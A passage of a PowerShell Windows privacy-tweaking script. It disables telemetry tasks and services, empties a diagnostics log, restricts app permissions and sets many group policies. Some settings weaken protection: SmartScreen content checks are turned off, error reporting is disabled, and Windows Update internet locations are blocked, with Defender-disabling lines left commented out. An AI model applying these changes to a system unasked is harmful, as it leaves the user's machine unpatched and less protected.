  1289. Write-Progress -Activity "Disabling scheduled tasks" -Status "Progress:" -PercentComplete 25
  1290. schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\UsbCeip" /Disable
  1291. schtasks /Change /TN "Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector" /Disable
  1292. schtasks /Change /TN "Microsoft\Windows\Feedback\Siuf\DmClient" /Disable
  1293. schtasks /Change /TN "Microsoft\Windows\Mobile Broadband Accounts\MNO Metadata Parser" /Disable
  1294. schtasks /Change /TN "Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 Critical" /Disable
  1295. schtasks /Change /TN "Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64" /Disable
  1296. schtasks /Change /TN "Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Critical" /Disable
  1297. schtasks /Change /TN "Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319" /Disable
  1298. schtasks /Change /TN "Microsoft\Windows\Windows Error Reporting\QueueReporting" /Disable
  1299. Write-Progress -Activity "Disabling scheduled tasks" -Status "Progress:" -PercentComplete 50
  1300. # Network stuff
  1301. schtasks /Change /TN "Microsoft\Windows\NetCfg\BindingWorkItemQueueHandler" /Disable
  1302. schtasks /Change /TN "Microsoft\Windows\NetTrace\GatherNetworkInfo" /Disable
  1303. schtasks /Change /TN "Microsoft\Windows\Ras\MobilityManager" /Disable
  1304. schtasks /Change /TN "Microsoft\Windows\RemoteAssistance\RemoteAssistanceTask" /Disable
  1305. schtasks /Change /TN "Microsoft\Windows\Shell\FamilySafetyMonitor" /Disable
  1306. schtasks /Change /TN "Microsoft\Windows\Shell\FamilySafetyRefresh" /Disable
  1307. schtasks /Change /TN "Microsoft\Windows\Shell\FamilySafetyUpload" /Disable
  1308. schtasks /Change /TN "Microsoft\Windows\SpacePort\SpaceAgentTask" /Disable
  1309. Write-Progress -Activity "Disabling scheduled tasks" -Status "Progress:" -PercentComplete 75
  1310. schtasks /Change /TN "Microsoft\Windows\TextServicesFramework\MsCtfMonitor" /Disable
  1311. schtasks /Change /TN "Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange" /Disable
  1312. schtasks /Change /TN "Microsoft\Windows\Windows Media Sharing\UpdateLibrary" /Disable
  1313. schtasks /Change /TN "Microsoft\Windows\Workplace Join\Automatic-Device-Join" /Disable
  1314. # Maintenanace Tasks
  1315. # schtasks /Change /TN "Microsoft\Windows\Application Experience\StartupAppTask" /Disable
  1316. # schtasks /Change /TN "Microsoft\Windows\Defrag\ScheduledDefrag" /Disable
  1317. # schtasks /Change /TN "Microsoft\Windows\DiskCleanup\SilentCleanup" /Disable
  1318. # schtasks /Change /TN "Microsoft\Windows\DiskFootprint\Diagnostics" /Disable
  1319. # schtasks /Change /TN "Microsoft\Windows\FileHistory\File History (maintenance mode)" /Disable
  1320. # schtasks /Change /TN "Microsoft\Windows\Maintenance\WinSAT" /Disable
  1321. schtasks /Change /TN "Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem" /Disable
  1322. # schtasks /Change /TN "Microsoft\Windows\TPM\Tpm-HASCertRetr" /Disable
  1323. # schtasks /Change /TN "Microsoft\Windows\TPM\Tpm-Maintenance" /Disable
  1324. # schtasks /Change /TN "Microsoft\Windows\Shell\IndexerAutomaticMaintenance" /Disable
  1325. Write-Progress -Activity "Disabling scheduled tasks" -Status "Progress:" -PercentComplete 80
  1326. # Smartscreen
  1327. # schtasks /Change /TN "Microsoft\Windows\AppID\SmartScreenSpecific" /Disable
  1328. # Defender
  1329. # schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  1330. # schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  1331. # schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  1332. # schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  1333. # Some random scheduled task that is alittle fishy but halts the script
  1334. # Unregister-ScheduledTask -TaskName BackgroundUploadTask -Confirm:$false
  1335. Write-Progress -Activity "Disabling scheduled tasks" -Status "Progress:" -PercentComplete 100
  1336.  
  1337. Write-Progress -Activity "Disabling services" -Status "Progress:" -PercentComplete 0
  1338. cmd /c sc config DiagTrack start= disabled | out-null
  1339. cmd /c sc config dmwappushservice start= disabled | out-null
  1340. cmd /c sc config diagnosticshub.standardcollector.service start= disabled | out-null
  1341. cmd /c sc config TrkWks start= disabled | out-null
  1342. cmd /c sc config WMPNetworkSvc start= disabled | out-null # Shouldn't exist but just making sure ...
  1343. # Making sure the DiagTrack log is empty (tinfoil)
  1344. Set-Content C:\ProgramData\Microsoft\Diagnosis\ETLLogs\AutoLogger\AutoLogger-Diagtrack-Listener.etl -Value "" -Force
  1345. Write-Progress -Activity "Disabling services" -Status "Progress:" -PercentComplete 100
  1346.  
  1347. # Tweak settings app
  1348. Write-Progress -Activity "Tweaking settings app" -Status "Progress:" -PercentComplete 0
  1349. # Privacy -> General -> let websites provide locally relevant content by accessing my language list
  1350. Remove-ItemProperty -Path "HKCU:SOFTWARE\Microsoft\Internet Explorer\International" -Name "AcceptLanguage" -Force
  1351. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:Control Panel\International\User Profile" -Name HttpAcceptLanguageOptOut -Value 1 | Out-Null
  1352. # Privacy -> General -> turn on smartscreen filter to check web content that windows store apps use
  1353. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost\" -Name EnableWebContentEvaluation -Value 0 -Force | Out-Null
  1354. # Privacy -> Camera -> let apps use my camera
  1355. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{E5323777-F976-4f5b-9B55-B94699C46E44}" -Name "Value" -Type String -Value "Deny" | Out-Null
  1356. # Privacy -> Microphone -> let apps use my microphone
  1357. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{2EEF81BE-33FA-4800-9670-1CD474972C3F}\" -Name "Value" -Type String -Value "Deny" | Out-Null
  1358. # Privacy -> Account info -> let apps access my name, picture and other account info
  1359. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{C1D23ACC-752B-43E5-8448-8D0E519CD6D6}\" -Name "Value" -Type String -Value "Deny" | Out-Null
  1360. # Privacy -> Calendar -> let apps access my calendar
  1361. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{D89823BA-7180-4B81-B50C-7E471E6121A3}\" -Name "Value" -Type String -Value "Deny" | Out-Null
  1362. # Privacy -> Messaging -> let apps read or send sms and text messages
  1363. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{992AFA70-6F47-4148-B3E9-3003349C1548}\" -Name "Value" -Type String -Value "Deny" | Out-Null
  1364. # Privacy -> Radio -> let apps control radios
  1365. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{A8804298-2D5F-42E3-9531-9C8C39EB29CE}\" -Name "Value" -Type String -Value "Deny" | Out-Null
  1366. # Privacy -> Other devices -> sync with devices
  1367. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\LooselyCoupled\" -Name "Value" -Type String -Value "Deny" | Out-Null
  1368. # Privacy -> Feedback & Diagnostics -> feedback frequency
  1369. New-Item -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Siuf\Rules" -Force | Out-Null
  1370. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:SOFTWARE\Microsoft\Siuf\Rules" -Name NumberOfSIUFInPeriod -Value 0 -Force | Out-Null
  1371. Remove-ItemProperty -Path "HKCU:SOFTWARE\Microsoft\Siuf\Rules" -Name PeriodInNanoSeconds
  1372. # Ease of Access -> Other options -> Visual options -> play animations
  1373. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:Control Panel\Desktop\WindowMetrics" -Name MinAnimate -Value 0 | Out-Null
  1374. # Update & Security -> Windows Update -> Advanced -> Choose how updates are delviered -> Updates from more than one place (this is a GUI bug, registry is set properly even though it may show 'ON')
  1375. New-ItemProperty -ErrorAction SilentlyContinue -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DownloadMode" -PropertyType DWORD -Value 0 | Out-Null
  1376. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" -Name "DODownloadMode" -Value 0 | Out-Null
  1377. Set-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\" -Name "SystemSettingsDownloadMode" -Value 0 | Out-Null
  1378. Write-Progress -Activity "Tweaking settings app" -Status "Progress:" -PercentComplete 100
  1379.  
  1380. #
  1381. #
  1382. # More Group Policy Tweaks
  1383.  
  1384. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 1
  1385. # The reason I'm waiting 1s after each edit is to let the filesystem make necessary edits in the background, without the delay this will break local policies
  1386. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "System\CurrentControlSet\Policies" -ValueName NtfsEncryptPagingFile -Type DWord -Data 1
  1387. Start-Sleep 1
  1388. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\DataCollection" -ValueName AllowTelemetry -Type DWord -Data 0
  1389. Start-Sleep 1
  1390. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Windows\Sidebar" -ValueName TurnOffSidebar -Type DWord -Data 1
  1391. Start-Sleep 1
  1392. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Assistance\Client\1.0" -ValueName NoActiveHelp -Type DWord -Data 1
  1393. Start-Sleep 1
  1394. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Biometrics" -ValueName Enabled -Type DWord -Data 1
  1395. Start-Sleep 1
  1396. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Conferencing" -ValueName NoRDS -Type DWord -Data 1
  1397. Start-Sleep 1
  1398. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\InputPersonalization" -ValueName AllowInputPersonalization -Type DWord -Data 0
  1399. Start-Sleep 1
  1400. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Internet Explorer\Geolocation" -ValueName PolicyDisableGeolocation -Type DWord -Data 1
  1401. Start-Sleep 1
  1402. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions" -ValueName NoUpdateCheck -Type DWord -Data 1
  1403. Start-Sleep 1
  1404. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Internet Explorer\Main" -ValueName DoNotTrack -Type DWord -Data 1
  1405. Start-Sleep 1
  1406. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Internet Explorer\Privacy" -ValueName EnableInPrivateBrowsing -Type DWord -Data 0
  1407. Start-Sleep 1
  1408. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Internet Explorer\SQM" -ValueName DisableCustomerImprovementProgram -Type DWord -Data 0
  1409. Start-Sleep 1
  1410. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Messenger\Client" -ValueName CEIP -Type DWord -Data 2
  1411. Start-Sleep 1
  1412. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Messenger\Client" -ValueName PreventAutoRun -Type DWord -Data 1
  1413. Start-Sleep 1
  1414. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\MicrosoftEdge\Main" -ValueName Cookies -Type DWord -Data 2
  1415. Start-Sleep 1
  1416. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 10
  1417. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting" -ValueName DoReport -Type DWord -Data 0
  1418. Start-Sleep 1
  1419. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting" -ValueName ForceQueueMode -Type DWord -Data 0
  1420. Start-Sleep 1
  1421. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting\DW" -ValueName DWFileTreeRoot -Type String -Data ""
  1422. Start-Sleep 1
  1423. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting\DW" -ValueName DWNoExternalURL -Type DWord -Data 1
  1424. Start-Sleep 1
  1425. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting\DW" -ValueName DWNoFileCollection -Type DWord -Data 1
  1426. Start-Sleep 1
  1427. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting\DW" -ValueName DWNoSecondLevelCollection -Type DWord -Data 1
  1428. Start-Sleep 1
  1429. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting\DW" -ValueName DWReporteeName -Type String -Data ""
  1430. Start-Sleep 1
  1431. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\SearchCompanion" -ValueName DisableContentFileUpdates -Type DWord -Data 1
  1432. Start-Sleep 1
  1433. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\SQMClient\Windows" -ValueName CEIPEnable -Type DWord -Data 0
  1434. Start-Sleep 1
  1435. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\010103000F0000F0080000000F0000F0D0B4EB5D3C24F17D10AE531C7DCEF4A94F4A085AD0D4C88B75082573E36F857A" -ValueName Category -Type DWord -Data 1
  1436. Start-Sleep 1
  1437. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\010103000F0000F0080000000F0000F0D0B4EB5D3C24F17D10AE531C7DCEF4A94F4A085AD0D4C88B75082573E36F857A" -ValueName CategoryReadOnly -Type DWord -Data 0
  1438. Start-Sleep 1
  1439. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform" -ValueName NoGenTicket -Type DWord -Data 1
  1440. Start-Sleep 1
  1441. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows NT\IIS" -ValueName PreventIISInstall -Type DWord -Data 1
  1442. Start-Sleep 1
  1443. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows NT\Printers" -ValueName PhysicalLocation -Type String -Data anonymous
  1444. Start-Sleep 1
  1445. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\AdvertisingInfo" -ValueName DisabledByGroupPolicy -Type DWord -Data 1
  1446. Start-Sleep 1
  1447. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 20
  1448. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\AppCompat" -ValueName AITEnable -Type DWord -Data 0
  1449. Start-Sleep 1
  1450. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\AppCompat" -ValueName DisableInventory -Type DWord -Data 1
  1451. Start-Sleep 1
  1452. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\AppCompat" -ValueName DisableUAR -Type DWord -Data 1
  1453. Start-Sleep 1
  1454. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Device Metadata" -ValueName PreventDeviceMetadataFromNetwork -Type DWord -Data 1
  1455. Start-Sleep 1
  1456. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Settings" -ValueName DisableSendGenericDriverNotFoundToWER -Type DWord -Data 1
  1457. Start-Sleep 1
  1458. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Settings" -ValueName DisableSendRequestAdditionalSoftwareToWER -Type DWord -Data 1
  1459. Start-Sleep 1
  1460. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Explorer" -ValueName NoUseStoreOpenWith -Type DWord -Data 1
  1461. Start-Sleep 1
  1462. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\GameUX" -ValueName DownloadGameInfo -Type DWord -Data 0
  1463. Start-Sleep 1
  1464. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\GameUX" -ValueName GameUpdateOptions -Type DWord -Data 0
  1465. Start-Sleep 1
  1466. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\GameUX" -ValueName ListRecentlyPlayed -Type DWord -Data 0
  1467. Start-Sleep 1
  1468. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Internet Connection Wizard" -ValueName ExitOnMSICW -Type DWord -Data 1
  1469. Start-Sleep 1
  1470. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\LocationAndSensors" -ValueName DisableLocation -Type DWord -Data 1
  1471. Start-Sleep 1
  1472. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\OneDrive" -ValueName DisableFileSyncNGSC -Type DWord -Data 1
  1473. Start-Sleep 1
  1474. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\PowerShell" -ValueName EnableScripts -Type DWord -Data 1
  1475. Start-Sleep 1
  1476. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\PowerShell" -ValueName ExecutionPolicy -Type String -Data "RemoteSigned"
  1477. Start-Sleep 1
  1478. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\PreviewBuilds" -ValueName **del.EnableExperimentation -Type String -Data ""
  1479. Start-Sleep 1
  1480. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\PreviewBuilds" -ValueName AllowBuildPreview -Type DWord -Data 0
  1481. Start-Sleep 1
  1482. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\PreviewBuilds" -ValueName EnableConfigFlighting -Type DWord -Data 0
  1483. Start-Sleep 1
  1484. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\System" -ValueName AsyncScriptDelay -Type DWord -Data 1
  1485. Start-Sleep 1
  1486. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\System" -ValueName EnableLogonScriptDelay -Type DWord -Data 1
  1487. Start-Sleep 1
  1488. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 50
  1489. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{186f47ef-626c-4670-800a-4a30756babad}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1490. Start-Sleep 1
  1491. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{2698178D-FDAD-40AE-9D3C-1371703ADC5B}" -ValueName **del.EnabledScenarioExecutionLevel -Type String -Data ""
  1492. Start-Sleep 1
  1493. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{2698178D-FDAD-40AE-9D3C-1371703ADC5B}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1494. Start-Sleep 1
  1495. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{67144949-5132-4859-8036-a737b43825d8}" -ValueName **del.EnabledScenarioExecutionLevel -Type String -Data ""
  1496. Start-Sleep 1
  1497. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{67144949-5132-4859-8036-a737b43825d8}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1498. Start-Sleep 1
  1499. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{86432a0b-3c7d-4ddf-a89c-172faa90485d}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1500. Start-Sleep 1
  1501. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{9c5a40da-b965-4fc3-8781-88dd50a6299d}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1502. Start-Sleep 1
  1503. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{a7a5847a-7511-4e4e-90b1-45ad2a002f51}" -ValueName **del.EnabledScenarioExecutionLevel -Type String -Data ""
  1504. Start-Sleep 1
  1505. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{a7a5847a-7511-4e4e-90b1-45ad2a002f51}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1506. Start-Sleep 1
  1507. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E5}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1508. Start-Sleep 1
  1509. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{dc42ff48-e40d-4a60-8675-e71f7e64aa9a}" -ValueName EnabledScenarioExecutionLevel -Type DWord -Data 1
  1510. Start-Sleep 1
  1511. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{dc42ff48-e40d-4a60-8675-e71f7e64aa9a}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1512. Start-Sleep 1
  1513. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{ecfb03d1-58ee-4cc7-a1b5-9bc6febcb915}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1514. Start-Sleep 1
  1515. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{ffc42108-4920-4acf-a4fc-8abdcc68ada4}" -ValueName **del.EnabledScenarioExecutionLevel -Type String -Data ""
  1516. Start-Sleep 1
  1517. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WDI\{ffc42108-4920-4acf-a4fc-8abdcc68ada4}" -ValueName ScenarioExecutionEnabled -Type DWord -Data 0
  1518. Start-Sleep 1
  1519. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting" -ValueName Disabled -Type DWord -Data 1
  1520. Start-Sleep 1
  1521. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 60
  1522. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting" -ValueName DontSendAdditionalData -Type DWord -Data 1
  1523. Start-Sleep 1
  1524. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName AllowCortana -Type DWord -Data 0
  1525. Start-Sleep 1
  1526. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName AllowSearchToUseLocation -Type DWord -Data 0
  1527. Start-Sleep 1
  1528. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName ConnectedSearchPrivacy -Type DWord -Data 3
  1529. Start-Sleep 1
  1530. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName ConnectedSearchSafeSearch -Type DWord -Data 3
  1531. Start-Sleep 1
  1532. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName ConnectedSearchUseWeb -Type DWord -Data 0
  1533. Start-Sleep 1
  1534. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName ConnectedSearchUseWebOverMeteredConnections -Type DWord -Data 0
  1535. Start-Sleep 1
  1536. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\Windows Search" -ValueName DisableWebSearch -Type DWord -Data 1
  1537. Start-Sleep 1
  1538. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -ValueName DeferUpgrade -Type DWord -Data 1
  1539. Start-Sleep 1
  1540. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -ValueName DoNotConnectToWindowsUpdateInternetLocations -Type DWord -Data 1
  1541. Start-Sleep 1
